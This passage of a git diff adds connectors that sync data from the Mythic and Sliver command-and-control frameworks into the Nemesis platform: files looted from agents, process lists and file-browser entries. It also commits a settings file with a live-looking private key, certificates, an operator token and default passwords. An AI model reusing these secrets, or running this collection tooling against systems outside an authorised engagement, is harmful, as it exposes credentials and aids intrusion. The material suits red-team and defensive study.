+ start_id
+ )
+
+ mythic_sync_log.info("Starting subscription for file browser information")
+ async for data in mythic.subscribe_custom_query(mythic=mythic_instance, query=nemesis_filebrowser_subscription):
+
+ # group by the agent ID
+ all_data = {}
+
+ files = data["mythictree_stream"]
+
+ for file in files:
+ mythic_id = file["id"]
+ redis_key = f"filebrowser{mythic_id}"
+
+ try:
+ redis_entry_id = rconn.get(redis_key)
+ except:
+ redis_entry_id = None
+
+ if not redis_entry_id:
+ callback_id = file["task"]["callback"]["agent_callback_id"]
+
+ # build the metadata entry on first encounter of this agent ID
+ if callback_id not in all_data:
+ metadata = {}
+ metadata["agent_id"] = callback_id
+ metadata["agent_type"] = "mythic"
+ metadata["automated"] = True
+ metadata["data_type"] = "process"
+ metadata["expiration"] = convert_timestamp(file["timestamp"], EXPIRATION_DAYS)
+ metadata["source"] = file["host"]
+ metadata["project"] = file["task"]["callback"]["operation"]["name"]
+ metadata["timestamp"] = convert_timestamp(file["timestamp"])
+
+ all_data[callback_id] = {}
+ all_data[callback_id]["metadata"] = metadata
+ all_data[callback_id]["data"] = list()
+
+ file_data = {}
+ file_data["path"] = file["full_path_text"].replace("\\", "/")
+ file_data["size"] = file["metadata"]["size"]
+
+ if file["can_have_children"]:
+ file_data["type"] = "folder"
+ else:
+ file_data["type"] = "file"
+
+ if "access_time" in file["metadata"] and file["metadata"]["access_time"]:
+ file_data["access_time"] = convert_timestamp(file["metadata"]["access_time"])
+ if "modify_time" in file["metadata"] and file["metadata"]["modify_time"]:
+ file_data["modification_time"] = convert_timestamp(file["metadata"]["modify_time"])
+
+ # TODO: translate file["metadata"]["permissions"] to sddl
+
+ all_data[callback_id]["data"].append(file_data)
+
+ # mark this file browser entry as seen
+ # TODO: does this need to be after the nemesis_post_data call?
+ rconn.mset({redis_key: 1})
+
+ # mark this Mythic ID as the last processed process ID
+ last_filebrowser_id = rconn.get("last_filebrowser_id")
+ if mythic_id > last_filebrowser_id:
+ rconn.mset({"last_filebrowser_id": mythic_id})
+
+ # for each unique agent ID, issue one request with all batched file browser information
+ # but using the same metadata entry
+ for key in all_data:
+ nemesis_post_data(all_data[key])
+
+
+async def handle_process(mythic_instance: mythic_classes.Mythic, chunk_size: int = 100) -> None:
+ """
+ **Parameters**
+
+ ``mythic_instance``
+ The Mythic instance to be used to query the Mythic database
+
+ ``chunk_size``
+ The number of process results to handle at a time.
+ """
+
+ # # clear Redis, for testing
+ # for key in rconn.keys("*"):
+ # rconn.delete(key)
+
+ try:
+ start_id = rconn.get("last_process_id")
+ except:
+ rconn.mset({"last_process_id": 0})
+ start_id = 0
+
+ nemesis_process_subscription = """
+ subscription NemesisProcessSubscription {
+ mythictree_stream(batch_size: %s, cursor: {initial_value: {id: %s}}, where: {tree_type: {_eq: "process"}}) {
+ id
+ metadata
+ host
+ timestamp
+ task {
+ callback {
+ agent_callback_id
+ operation {
+ name
+ }
+ }
+ }
+ }
+ }
+ """ % (chunk_size, start_id)
+
+ mythic_sync_log.info("Starting subscription for process data")
+ async for data in mythic.subscribe_custom_query(mythic=mythic_instance, query=nemesis_process_subscription):
+
+ # group by the callback ID
+ all_data = {}
+
+ # lookup table to get the process entry ID easily, keyed by callback ID
+ mythic_process_lookup_table = {}
+
+ processes = data["mythictree_stream"]
+
+ for process in processes:
+ mythic_id = process["id"]
+ redis_key = f"process{mythic_id}"
+
+ try:
+ redis_entry_id = rconn.get(redis_key)
+ except:
+ redis_entry_id = None
+
+ if not redis_entry_id:
+ callback_id = process["task"]["callback"]["agent_callback_id"]
+
+ # build the metadata entry on first encounter of this agent ID
+ if callback_id not in all_data:
+ metadata = {}
+ metadata["agent_id"] = callback_id
+ metadata["agent_type"] = "mythic"
+ metadata["automated"] = True
+ metadata["data_type"] = "process"
+ metadata["expiration"] = convert_timestamp(process["timestamp"], EXPIRATION_DAYS)
+ metadata["source"] = process["host"]
+ metadata["project"] = process["task"]["callback"]["operation"]["name"]
+ metadata["timestamp"] = convert_timestamp(process["timestamp"])
+
+ all_data[callback_id] = {}
+ all_data[callback_id]["metadata"] = metadata
+ all_data[callback_id]["data"] = list()
+
+ # integrity levels:
+ # 0 - unknown
+ # 1 - low
+ # 2 - medium
+ # 3 - high
+ # 4 - system
+ process_data = {}
+ process_data["name"] = process["metadata"]["name"]
+ process_data["command_line"] = process["metadata"]["command_line"]
+
+ if ("bin_path" in process["metadata"]) and (process["metadata"]["bin_path"]):
+ process_data["file_name"] = ntpath.basename(process["metadata"]["bin_path"])
+ if process_data["file_name"]:
+ process_data["name"] = process_data["file_name"]
+
+ process_data["process_id"] = process["metadata"]["process_id"]
+ process_data["parent_process_id"] = process["metadata"]["parent_process_id"]
+ process_data["arch"] = process["metadata"]["architecture"]
+
+ # if ("start_time" in process["metadata"]) and (process["metadata"]["start_time"] is not None) and (process["metadata"]["start_time"] != 0):
+ # process_data["start_time"] = convert_timestamp(process["metadata"]["start_time"])
+
+ process_data["token"] = {"user": {"name": process["metadata"]["user"]}}
+
+ all_data[callback_id]["data"].append(process_data)
+
+ if callback_id not in mythic_process_lookup_table:
+ mythic_process_lookup_table[callback_id] = {}
+
+ # map {name}{process_id} to the mythictree ID for later tagging
+ name = process_data["name"]
+ process_id = process_data["process_id"]
+ key = f"{name}{process_id}"
+ mythic_process_lookup_table[callback_id][key] = mythic_id
+
+ # mark this process entry as seen
+ # TODO: does this need to be after the nemesis_post_data call?
+ rconn.mset({redis_key: 1})
+
+ # mark this Mythic ID as the last processed process ID
+ last_process_id = rconn.get("last_process_id")
+ if mythic_id > last_process_id:
+ rconn.mset({"last_process_id": mythic_id})
+
+ # for each unique agent ID, issue one request with all batched processes
+ # but using the same metadata entry
+ for key in all_data:
+ resp = nemesis_post_data(all_data[key])
+ message_id = resp["object_id"]
+ mythic_sync_log.info(f"Nemesis message_id for submitted process data: {message_id}")
+
+ # get the metadata for the processed file from Elasticsearch
+ nemesis_processes = await get_process_metadata(message_id, chunk_size)
+
+ for nemesis_process in nemesis_processes:
+ if "name" in nemesis_process["origin"]:
+ name = nemesis_process["origin"]["name"]
+ else:
+ name = ""
+
+ if "processId" in nemesis_process["origin"]:
+ process_id = nemesis_process["origin"]["processId"]
+ else:
+ process_id = ""
+
+ tag_calls = []
+ key = f"{name}{process_id}"
+ if key in mythic_process_lookup_table[callback_id]:
+ category = nemesis_process["category"]["category"]
+
+ if category != "Unknown":
+ mythictree_id = mythic_process_lookup_table[callback_id][key]
+
+ if "description" in nemesis_process["category"]:
+ description = nemesis_process["category"]["description"]
+ data = json.dumps({"description": description})
+ else:
+ data = ""
+
+ tag_calls.append(add_mythic_tag(mythic_instance, category, mythictree_id=mythictree_id, data=data))
+
+ await asyncio.gather(*tag_calls)
+
+
+async def add_mythic_tag(mythic_instance: mythic_classes.Mythic, tag_name: str, source: str = "Nemesis", filemeta_id: int = -1, mythictree_id: int = -1, task_id: int = -1, url: str = "", data: str = ""):
+ """Adds a file or process tag from an existing tag type."""
+
+ if filemeta_id != -1:
+ filemeta_ids = [filemeta_id]
+ else:
+ filemeta_ids = None
+
+ if mythictree_id != -1:
+ mythictree_ids = [mythictree_id]
+ else:
+ mythictree_ids = None
+
+ if task_id != -1:
+ task_ids = [task_id]
+ else:
+ task_ids = None
+
+ if tag_name not in NEMESIS_TAGS:
+ mythic_sync_log.warning(f"Tag name '{tag_name}' not in the existing tag set.")
+ else:
+ if NEMESIS_TAGS[tag_name].id == -1:
+ mythic_sync_log.warning(f"Tag name '{tag_name}' not initialized properly.")
+ else:
+ await mythic.create_tag(mythic=mythic_instance, tag_type_id=NEMESIS_TAGS[tag_name].id, filemeta_ids=filemeta_ids, mythictree_ids=mythictree_ids, task_ids=task_ids, source=source, url=url, data=data)
+
+
+async def create_tag_types(mythic_instance: mythic_classes.Mythic):
+ """Creates the Mythic tag types from NEMESIS_TAGS."""
+
+ for tag_name, tag in NEMESIS_TAGS.items():
+ tag_info = await mythic.create_tag_type(mythic=mythic_instance, color=tag.color, description=tag.description, name=tag_name)
+ # save this ID off for caching
+ if "id" in tag_info:
+ tag.id = tag_info["id"]
+
+
+async def wait_for_service() -> None:
+ """Wait for an HTTP session to be established with Mythic."""
+ while True:
+ mythic_sync_log.info(f"Attempting to connect to {MYTHIC_URL}")
+ async with aiohttp.ClientSession() as session:
+ async with session.get(MYTHIC_URL, ssl=False) as resp:
+ if resp.status != 200:
+ mythic_sync_log.warning(
+ "Expected 200 OK and received HTTP code %s while trying to connect to Mythic, trying again in %s seconds...",
+ resp.status,
+ WAIT_TIMEOUT,
+ )
+ await asyncio.sleep(WAIT_TIMEOUT)
+ continue
+ return
+
+
+async def wait_for_redis() -> None:
+ """Wait for a connection to be established with Mythic's Redis container."""
+ global rconn
+ while True:
+ try:
+ rconn = redis.Redis(host=REDIS_HOSTNAME, port=REDIS_PORT, db=1)
+ # we're only using ints for our redis DB
+ rconn.set_response_callback("GET", int)
+ return
+ except Exception:
+ mythic_sync_log.exception(
+ "Encountered an exception while trying to connect to Redis, %s:%s, trying again in %s seconds...",
+ REDIS_HOSTNAME,
+ REDIS_PORT,
+ WAIT_TIMEOUT,
+ )
+ await asyncio.sleep(WAIT_TIMEOUT)
+ continue
+
+
+async def wait_for_authentication() -> mythic_classes.Mythic:
+ """Wait for authentication with Mythic to complete."""
+ while True:
+ # If ``MYTHIC_API_KEY`` is not set in the environment, then authenticate with user credentials
+ if len(MYTHIC_API_KEY) == 0:
+ mythic_sync_log.info(
+ "Authenticating to Mythic, https://%s:%s, with username and password",
+ MYTHIC_IP,
+ MYTHIC_PORT,
+ )
+ try:
+ mythic_instance = await mythic.login(
+ username=MYTHIC_USERNAME,
+ password=MYTHIC_PASSWORD,
+ server_ip=MYTHIC_IP,
+ server_port=MYTHIC_PORT,
+ ssl=True,
+ timeout=-1,
+ )
+ except Exception:
+ mythic_sync_log.exception(
+ "Encountered an exception while trying to authenticate to Mythic, trying again in %s seconds...",
+ WAIT_TIMEOUT,
+ )
+ await asyncio.sleep(WAIT_TIMEOUT)
+ continue
+ try:
+ # await mythic.get_me(mythic=mythic_instance) # TODO: replace?
+ pass
+ except Exception:
+ mythic_sync_log.exception(
+ "Encountered an exception while trying to authenticate to Mythic, trying again in %s seconds...",
+ WAIT_TIMEOUT,
+ )
+ await asyncio.sleep(WAIT_TIMEOUT)
+ continue
+ elif MYTHIC_USERNAME == "" and MYTHIC_PASSWORD == "":
+ mythic_sync_log.error("You must supply a MYTHIC_USERNAME and MYTHIC_PASSWORD")
+ sys.exit(1)
+ elif NEMESIS_URL == "":
+ mythic_sync_log.error("You must supply a NEMESIS_URL")
+ sys.exit(1)
+ elif NEMESIS_CREDS == "":
+ mythic_sync_log.error("You must supply NEMESIS_CREDS")
+ sys.exit(1)
+ else:
+ mythic_sync_log.info(
+ "Authenticating to Mythic, https://%s:%s, with a specified API Key",
+ MYTHIC_IP,
+ MYTHIC_PORT,
+ )
+ try:
+ mythic_instance = await mythic.login(
+ apitoken=MYTHIC_API_KEY,
+ server_ip=MYTHIC_IP,
+ server_port=MYTHIC_PORT,
+ ssl=True,
+ global_timeout=-1,
+ )
+ # await mythic.get_me(mythic=mythic_instance) # TODO: replace?
+ except Exception:
+ mythic_sync_log.exception(
+ "Failed to authenticate with the Mythic API token, trying again in %s seconds...",
+ WAIT_TIMEOUT,
+ )
+ await asyncio.sleep(WAIT_TIMEOUT)
+ continue
+
+ return mythic_instance
+
+
+async def wait_for_elasticsearch() -> None:
+ """Wait for a connection to be established with Nemesis' Elasticsearch container."""
+ global es_client
+ while True:
+ try:
+ es_client = Elasticsearch(ELASTICSEARCH_URL, basic_auth=(ELASTICSEARCH_USER, ELASTICSEARCH_PASSWORD), verify_certs=False)
+ es_client.info()
+ return
+ except Exception:
+ mythic_sync_log.exception(
+ "Encountered an exception while trying to connect to Elasticsearch %s, trying again in %s seconds...",
+ ELASTICSEARCH_URL,
+ WAIT_TIMEOUT,
+ )
+ await asyncio.sleep(WAIT_TIMEOUT)
+ continue
+
+
+async def scripting():
+ while True:
+ await wait_for_redis()
+ mythic_sync_log.info("Successfully connected to Redis")
+ await wait_for_elasticsearch()
+ mythic_sync_log.info("Successfully connected to Nemesis-Elasticsearch")
+ await wait_for_service()
+ mythic_sync_log.info(f"Successfully connected to {MYTHIC_URL}")
+ mythic_sync_log.info("Trying to authenticate to Mythic")
+ mythic_instance = await wait_for_authentication()
+ mythic_sync_log.info("Successfully authenticated to Mythic")
+ # create our initial tags
+ mythic_sync_log.info("Creating tag types")
+ await create_tag_types(mythic_instance)
+ mythic_sync_log.info("Successfully created tag types")
+
+ try:
+ _ = await asyncio.gather(
+ handle_file(mythic_instance=mythic_instance),
+ # handle_process(mythic_instance=mythic_instance),
+ # handle_filebrowser(mythic_instance=mythic_instance),
+ )
+ except Exception:
+ mythic_sync_log.exception("Encountered an exception while subscribing to tasks and responses, restarting...")
+
+
+asyncio.run(scripting())
diff --git a/cmd/connectors/sliver-connector/.gitignore b/cmd/connectors/sliver-connector/.gitignore
new file mode 100644
index 0000000..2ca290f
--- /dev/null
+++ b/cmd/connectors/sliver-connector/.gitignore
@@ -0,0 +1 @@
+./sliver
\ No newline at end of file
diff --git a/cmd/connectors/sliver-connector/Dockerfile b/cmd/connectors/sliver-connector/Dockerfile
new file mode 100644
index 0000000..e035f2c
--- /dev/null
+++ b/cmd/connectors/sliver-connector/Dockerfile
@@ -0,0 +1,10 @@
+FROM python:3.10.5-alpine3.15
+
+COPY requirements.txt .
+RUN pip install --upgrade pip \
+ && pip install -r requirements.txt
+
+WORKDIR /app
+COPY sliver_service /app/sliver_service
+
+CMD ["python", "-m", "sliver_service"]
diff --git a/cmd/connectors/sliver-connector/README.md b/cmd/connectors/sliver-connector/README.md
new file mode 100644
index 0000000..50ac57e
--- /dev/null
+++ b/cmd/connectors/sliver-connector/README.md
@@ -0,0 +1,44 @@
+# Sliver Connector
+
+## Getting Started
+1. Get Sliver configuration
+
+```
+cat ~/.sliver-client/configs/.cfg
+```
+
+2. Configure settings.env with Sliver settings
+
+```
+SLIVER_OPERATOR="..."
+SLIVER_LHOST="..."
+SLIVER_LPORT=31337
+SLIVER_CA_CERT="..."
+SLIVER_PRIVATE_KEY="..."
+SLIVER_CERT="..."
+SLIVER_TOKEN="..."
+```
+
+3. Configure settings.env with Nemesis settings
+
+```
+NEMESIS_HTTP_SERVER=http://127.0.0.1
+NEMESIS_CREDS=nemesis:password
+```
+
+4. Install dependencies
+
+```
+pip3 install -r requirements.txt
+```
+
+5. Start `sliver_service`
+
+```
+python3 -m sliver_service
+```
+
+# TODO
+
+- See if you can pull agent ID. Doesn't seem possible from RPC endpoint
+- Try to collect usernames/passwords
\ No newline at end of file
diff --git a/cmd/connectors/sliver-connector/docker-compose.yml b/cmd/connectors/sliver-connector/docker-compose.yml
new file mode 100644
index 0000000..3ecfe00
--- /dev/null
+++ b/cmd/connectors/sliver-connector/docker-compose.yml
@@ -0,0 +1,8 @@
+version: "3"
+services:
+ sliver_nemesis_sync:
+ build: .
+ env_file:
+ - settings.env
+ redis:
+ image: redis:5-alpine
diff --git a/cmd/connectors/sliver-connector/generate.sh b/cmd/connectors/sliver-connector/generate.sh
new file mode 100644
index 0000000..04370b6
--- /dev/null
+++ b/cmd/connectors/sliver-connector/generate.sh
@@ -0,0 +1,20 @@
+#!/bin/bash
+
+PROTOBUF_DIR="sliver/protobuf"
+LIB_OUT="sliver_service/pb"
+
+if [ -f "sliver" ]; then
+ echo "Sliver path already exists"
+else
+ git clone https://github.com/BishopFox/sliver
+fi
+
+if [ -f $LIB_OUT ]; then
+ echo "PBs path already exists"
+else
+ mkdir $LIB_OUT
+fi
+
+for dir in $(find $PROTOBUF_DIR -type d); do
+ python3 -m grpc_tools.protoc --proto_path=$PROTOBUF_DIR --python_out=$LIB_OUT --grpc_python_out=$LIB_OUT $dir/*.proto
+done
\ No newline at end of file
diff --git a/cmd/connectors/sliver-connector/requirements.txt b/cmd/connectors/sliver-connector/requirements.txt
new file mode 100644
index 0000000..0eb253f
--- /dev/null
+++ b/cmd/connectors/sliver-connector/requirements.txt
@@ -0,0 +1,4 @@
+aiohttp==3.8.4
+grpcio==1.54.2
+grpcio-tools==1.54.2
+protobuf==3.20.3
\ No newline at end of file
diff --git a/cmd/connectors/sliver-connector/settings.env b/cmd/connectors/sliver-connector/settings.env
new file mode 100644
index 0000000..9ab3e6b
--- /dev/null
+++ b/cmd/connectors/sliver-connector/settings.env
@@ -0,0 +1,16 @@
+SLIVER_OPERATOR=nemesis
+SLIVER_LHOST=localhost
+SLIVER_LPORT=31337
+SLIVER_CA_CERT="-----BEGIN CERTIFICATE-----\nMIICJjCCAYegAwIBAgIRAN5uex4IKGkWMTQOn0AWOWswCgYIKoZIzj0EAwQwFDES\nMBAGA1UEAxMJb3BlcmF0b3JzMB4XDTIyMDYxOTE0NDQxM1oXDTI1MDYxODE0NDQx\nM1owFDESMBAGA1UEAxMJb3BlcmF0b3JzMIGbMBAGByqGSM49AgEGBSuBBAAjA4GG\nAAQBlgbvgpyU/j+dcq8pr5wWUZe2NNM90lBQQBkBtTFmZwDPtrxIm/YtHErQAsQ3\n+tErFdPA970qyxMhkksJBwQtUtUBwAWXlC4OV3WAGbKlDamfHW4urZS+b07YkxgL\nwjEj4fJIKlhYpQOlQK+pLYCPgqbqYvThEzXgr7wie6hTSStQa0ujdzB1MA4GA1Ud\nDwEB/wQEAwICpDAdBgNVHSUEFjAUBggrBgEFBQcDAQYIKwYBBQUHAwIwDwYDVR0T\nAQH/BAUwAwEB/zAdBgNVHQ4EFgQUXvmpp37mljYD6qEABqjVSDF37QkwFAYDVR0R\nBA0wC4IJb3BlcmF0b3JzMAoGCCqGSM49BAMEA4GMADCBiAJCAI2MJWiF6tH1Pti/\nz0ay57aboGnLCWlKLSVLbO/XRbDfQr4cHmd82ep6ZcHxsrUR9ut67ASdqey4SF1a\nX3yPO+FBAkIA0kb2Rg8gH0lv1slJVstmjpQUUWBZ0hcjTn6DMK4pKOqbQ8u+mAU+\n02SWuDhtFy5YCel6kcsw5+CKtz+5zQWX9cc=\n-----END CERTIFICATE-----\n"
+SLIVER_PRIVATE_KEY="-----BEGIN EC PRIVATE KEY-----\nMIGkAgEBBDBebnB8Poe6nBdyAU8ASkWXHnaq5aiviPa5qefpeacJtIBxTQd8YzV2\n3GMwwwfaWHCgBwYFK4EEACKhZANiAAQrcJ6QSJSH6N7MOgb1170YKRb0W5AOzvPn\n8QT2ApBzKpEOV0Bk5IRL97TNdL4ZqGHv3ieR4a+5ItNx1Tq/J8+tZfhmqBvy2MIY\n8lmN5OA5YT0iAVrXV1Qw0GjR9lBTIDc=\n-----END EC PRIVATE KEY-----\n"
+SLIVER_CERT="-----BEGIN CERTIFICATE-----\nMIIByzCCASygAwIBAgIRAKuQgfug699Yzy+AnjWpyCQwCgYIKoZIzj0EAwQwFDES\nMBAGA1UEAxMJb3BlcmF0b3JzMB4XDTIzMDEwNzE1NDQxM1oXDTI2MDEwNjE1NDQx\nM1owDjEMMAoGA1UEAxMDbWF4MHYwEAYHKoZIzj0CAQYFK4EEACIDYgAEK3CekEiU\nh+jezDoG9de9GCkW9FuQDs7z5/EE9gKQcyqRDldAZOSES/e0zXS+Gahh794nkeGv\nuSLTcdU6vyfPrWX4Zqgb8tjCGPJZjeTgOWE9IgFa11dUMNBo0fZQUyA3o0gwRjAO\nBgNVHQ8BAf8EBAMCBaAwEwYDVR0lBAwwCgYIKwYBBQUHAwIwHwYDVR0jBBgwFoAU\nXvmpp37mljYD6qEABqjVSDF37QkwCgYIKoZIzj0EAwQDgYwAMIGIAkIB9g2lNFI5\no4HUQrfSm2VmXt9KeRxnD6xVcdHw6zGyjAXfvU5BVP56khiR+KkKtM5ASr9h6SNV\nkYrMwimv8G7VbGQCQgCob/7R3+EtU9VwOnxDWs9moim+TjzoKbQ1OpFGbLHoV7do\nDv7CfWnZsQyePdBrB0j27dAJFmwf/iMjIkpV3fhJFg==\n-----END CERTIFICATE-----\n"
+SLIVER_TOKEN='ba651d86577a8c06ecf9400e85567fd9e669a49ae320a193c9cfabf47fc2b6f8'
+
+NEMESIS_HTTP_SERVER=http://127.0.0.1:8000
+NEMESIS_URL=http://127.0.0.1:8080
+NEMSIS_PUBLIC_IP=172.16.111.185
+NEMESIS_CREDS=nemesis:password
+KIBANA_PUBLIC_PORT=8443
+ELASTICSEARCH_URL=https://127.0.0.1:9200
+ELASTICSEARCH_USER=elastic
+ELASTICSEARCH_PASSWORD=password
\ No newline at end of file
diff --git a/cmd/connectors/sliver-connector/sliver_service/__init__.py b/cmd/connectors/sliver-connector/sliver_service/__init__.py
new file mode 100644
index 0000000..e69de29
diff --git a/cmd/connectors/sliver-connector/sliver_service/__main__.py b/cmd/connectors/sliver-connector/sliver_service/__main__.py
new file mode 100644
index 0000000..8789f00
--- /dev/null
+++ b/cmd/connectors/sliver-connector/sliver_service/__main__.py
@@ -0,0 +1,174 @@
+from dataclasses import dataclass, asdict
+import logging
+import os
+from typing import List, Optional, AsyncGenerator
+import aiohttp
+from datetime import datetime, timedelta
+import asyncio
+
+from sliver_service.pb.commonpb import common_pb2 as commonpb
+from sliver_service.pb.clientpb import client_pb2 as clientpb
+
+from sliver_service.sliver import SliverClientConfig, SliverClient
+
+logger = logging.getLogger(__name__)
+
+
+class Config:
+ def __init__(self):
+ self.expiration_days = 30
+ self.nemesis_http_server = self.get_env_var("NEMESIS_HTTP_SERVER")
+ self.nemesis_creds = self.get_env_var("NEMESIS_CREDS")
+ self.elasticsearch_user = self.get_env_var("ELASTICSEARCH_USER")
+ self.elasticsearch_password = self.get_env_var("ELASTICSEARCH_PASSWORD")
+
+ self.sliver_operator = self.get_env_var("SLIVER_OPERATOR")
+ self.sliver_lhost = self.get_env_var("SLIVER_LHOST")
+ self.sliver_lport = int(self.get_env_var("SLIVER_LPORT"))
+ self.sliver_ca_cert = self.get_env_var("SLIVER_CA_CERT")
+ self.sliver_cert = self.get_env_var("SLIVER_CERT")
+ self.sliver_private_key = self.get_env_var("SLIVER_PRIVATE_KEY")
+ self.sliver_token = self.get_env_var("SLIVER_TOKEN")
+ self.nemesis_url = f"{self.nemesis_http_server}/api"
+ self.elasticsearch_url = f"{self.nemesis_http_server}/elastic"
+ self.kibana_url = f"{self.nemesis_http_server}/kibana"
+
+ @staticmethod
+ def get_env_var(name):
+ value = os.environ.get(name)
+ if value is None:
+ raise ValueError(f"{name} environment variable is not set.")
+ return value.replace("\\n", "\n") if isinstance(value, str) else value
+
+
+@dataclass
+class Metadata:
+ agent_id: str
+ agent_type: str
+ automated: bool
+ data_type: str
+ expiration: str
+ source: str
+ project: str
+ timestamp: str
+
+
+async def nemesis_post_data(
+ session: aiohttp.ClientSession,
+ config: Config,
+ metadata: Metadata,
+ content: List[dict],
+) -> Optional[dict]:
+ data = {"metadata": asdict(metadata), "data": content}
+ url = f"{config.nemesis_url}/data"
+ async with session.post(
+ url, json=data, auth=aiohttp.BasicAuth(*config.nemesis_creds.split(":"))
+ ) as resp:
+ if resp.status != 200:
+ logger.error(
+ f"Error posting to Nemesis URL {url}. Status: {resp.status}. Message: {await resp.text()}"
+ )
+ return None
+ return await resp.json()
+
+
+async def nemesis_post_file(
+ session: aiohttp.ClientSession, config: Config, file_bytes: bytes
+) -> Optional[str]:
+ url = f"{config.nemesis_url}/file"
+ async with session.post(
+ url,
+ data=file_bytes,
+ auth=aiohttp.BasicAuth(*config.nemesis_creds.split(":")),
+ headers={"Content-Type": "application/octet-stream"},
+ ) as resp:
+ if resp.status != 200:
+ logger.error(
+ f"Error uploading file to Nemesis URL {url}. Status: {resp.status}"
+ )
+ return None
+ json_result = await resp.json()
+ return json_result.get("object_id")
+
+
+def generate_config() -> SliverClientConfig:
+ config = Config()
+ return SliverClientConfig(
+ config.sliver_operator,
+ config.sliver_lhost,
+ config.sliver_lport,
+ config.sliver_ca_cert,
+ config.sliver_cert,
+ config.sliver_private_key,
+ config.sliver_token,
+ )
+
+
+@dataclass
+class FileData:
+ path: str
+ size: int
+ object_id: str
+
+
+async def get_loot_from_id(
+ client: SliverClient, loot_id: str
+) -> Optional[clientpb.Loot]:
+ loots = (await client.loot_all()).Loot
+ for loot in loots:
+ if loot.ID == loot_id:
+ content = await client.loot_content(loot)
+ return content
+ return None
+
+
+async def on_loot_added(client: SliverClient) -> AsyncGenerator[str, clientpb.Loot]:
+ async for event in client.events():
+ if event.EventType == "loot-added":
+ loot_id = event.Data.decode()
+ yield loot_id, await get_loot_from_id(client, loot_id)
+
+
+async def on_loot_file(
+ session: aiohttp.ClientSession, config: Config, loot: clientpb.Loot
+) -> None:
+ timestamp = datetime.now()
+ nemesis_file_id = await nemesis_post_file(session, config, loot.File.Data)
+ logger.info(f"File posted to nemesis. nemesis_file_id: {nemesis_file_id}")
+ metadata = Metadata(
+ agent_id="",
+ agent_type="sliver",
+ automated=True,
+ data_type="file_data",
+ expiration=(timestamp + timedelta(days=config.expiration_days)).strftime(
+ "%Y-%m-%dT%H:%M:%S.000Z"
+ ),
+ source="",
+ project="",
+ timestamp=timestamp.strftime("%Y-%m-%dT%H:%M:%S.000Z"),
+ )
+ file_data = [FileData(path=loot.File.Name, size=0, object_id=nemesis_file_id)]
+ await nemesis_post_data(session, config, metadata, file_data)
+
+
+async def main() -> None:
+ config = generate_config()
+
+ client = SliverClient(config)
+ logger.info("Connected to server ...")
+ await client.connect()
+
+ logger.info("Listening for events")
+ async with aiohttp.ClientSession() as session:
+ config = Config()
+ async for loot_id, loot in on_loot_added(client):
+ if loot is None:
+ logger.error(f"Loot {loot_id} not found")
+ continue
+ logger.info("NEW FILE ADDED!")
+ await on_loot_file(session, config, loot)
+
+
+if __name__ == "__main__":
+ logging.basicConfig(format="%(levelname)s:%(message)s", level=logging.INFO)
+ asyncio.run(main())
diff --git a/cmd/connectors/sliver-connector/sliver_service/pb/clientpb/client_pb2.py b/cmd/connectors/sliver-connector/sliver_service/pb/clientpb/client_pb2.py
new file mode 100644
index 0000000..3de58b0
--- /dev/null
+++ b/cmd/connectors/sliver-connector/sliver_service/pb/clientpb/client_pb2.py
@@ -0,0 +1,297 @@
+# -*- coding: utf-8 -*-
+# Generated by the protocol buffer compiler. DO NOT EDIT!
+# source: clientpb/client.proto
+"""Generated protocol buffer code."""
+from google.protobuf.internal import builder as _builder
+from google.protobuf import descriptor as _descriptor
+from google.protobuf import descriptor_pool as _descriptor_pool
+from google.protobuf import symbol_database as _symbol_database
+# @@protoc_insertion_point(imports)
+
+_sym_db = _symbol_database.Default()
+
+
+from sliver_service.pb.commonpb import common_pb2 as commonpb_dot_common__pb2
+
+
+DESCRIPTOR = _descriptor_pool.Default().AddSerializedFile(b'\n\x15\x63lientpb/client.proto\x12\x08\x63lientpb\x1a\x15\x63ommonpb/common.proto\"\x83\x01\n\x07Version\x12\r\n\x05Major\x18\x01 \x01(\x05\x12\r\n\x05Minor\x18\x02 \x01(\x05\x12\r\n\x05Patch\x18\x03 \x01(\x05\x12\x0e\n\x06\x43ommit\x18\x04 \x01(\t\x12\r\n\x05\x44irty\x18\x05 \x01(\x08\x12\x12\n\nCompiledAt\x18\x06 \x01(\x03\x12\n\n\x02OS\x18\x07 \x01(\t\x12\x0c\n\x04\x41rch\x18\x08 \x01(\t\"0\n\x14\x43lientConsoleLogData\x12\n\n\x02ID\x18\x01 \x01(\t\x12\x0c\n\x04\x44\x61ta\x18\x02 \x01(\x0c\"\xb2\x03\n\x07Session\x12\n\n\x02ID\x18\x01 \x01(\t\x12\x0c\n\x04Name\x18\x02 \x01(\t\x12\x10\n\x08Hostname\x18\x03 \x01(\t\x12\x0c\n\x04UUID\x18\x04 \x01(\t\x12\x10\n\x08Username\x18\x05 \x01(\t\x12\x0b\n\x03UID\x18\x06 \x01(\t\x12\x0b\n\x03GID\x18\x07 \x01(\t\x12\n\n\x02OS\x18\x08 \x01(\t\x12\x0c\n\x04\x41rch\x18\t \x01(\t\x12\x11\n\tTransport\x18\n \x01(\t\x12\x15\n\rRemoteAddress\x18\x0b \x01(\t\x12\x0b\n\x03PID\x18\x0c \x01(\x05\x12\x10\n\x08\x46ilename\x18\r \x01(\t\x12\x13\n\x0bLastCheckin\x18\x0e \x01(\x03\x12\x10\n\x08\x41\x63tiveC2\x18\x0f \x01(\t\x12\x0f\n\x07Version\x18\x10 \x01(\t\x12\x0f\n\x07\x45vasion\x18\x11 \x01(\x08\x12\x0e\n\x06IsDead\x18\x12 \x01(\x08\x12\x19\n\x11ReconnectInterval\x18\x13 \x01(\x03\x12\x10\n\x08ProxyURL\x18\x14 \x01(\t\x12\x0e\n\x06\x42urned\x18\x16 \x01(\x08\x12\x12\n\nExtensions\x18\x17 \x03(\t\x12\x0e\n\x06PeerID\x18\x19 \x01(\x03\x12\x0e\n\x06Locale\x18\x1a \x01(\t\x12\x14\n\x0c\x46irstContact\x18\x1b \x01(\x03\"\xf5\x03\n\x06\x42\x65\x61\x63on\x12\n\n\x02ID\x18\x01 \x01(\t\x12\x0c\n\x04Name\x18\x02 \x01(\t\x12\x10\n\x08Hostname\x18\x03 \x01(\t\x12\x0c\n\x04UUID\x18\x04 \x01(\t\x12\x10\n\x08Username\x18\x05 \x01(\t\x12\x0b\n\x03UID\x18\x06 \x01(\t\x12\x0b\n\x03GID\x18\x07 \x01(\t\x12\n\n\x02OS\x18\x08 \x01(\t\x12\x0c\n\x04\x41rch\x18\t \x01(\t\x12\x11\n\tTransport\x18\n \x01(\t\x12\x15\n\rRemoteAddress\x18\x0b \x01(\t\x12\x0b\n\x03PID\x18\x0c \x01(\x05\x12\x10\n\x08\x46ilename\x18\r \x01(\t\x12\x13\n\x0bLastCheckin\x18\x0e 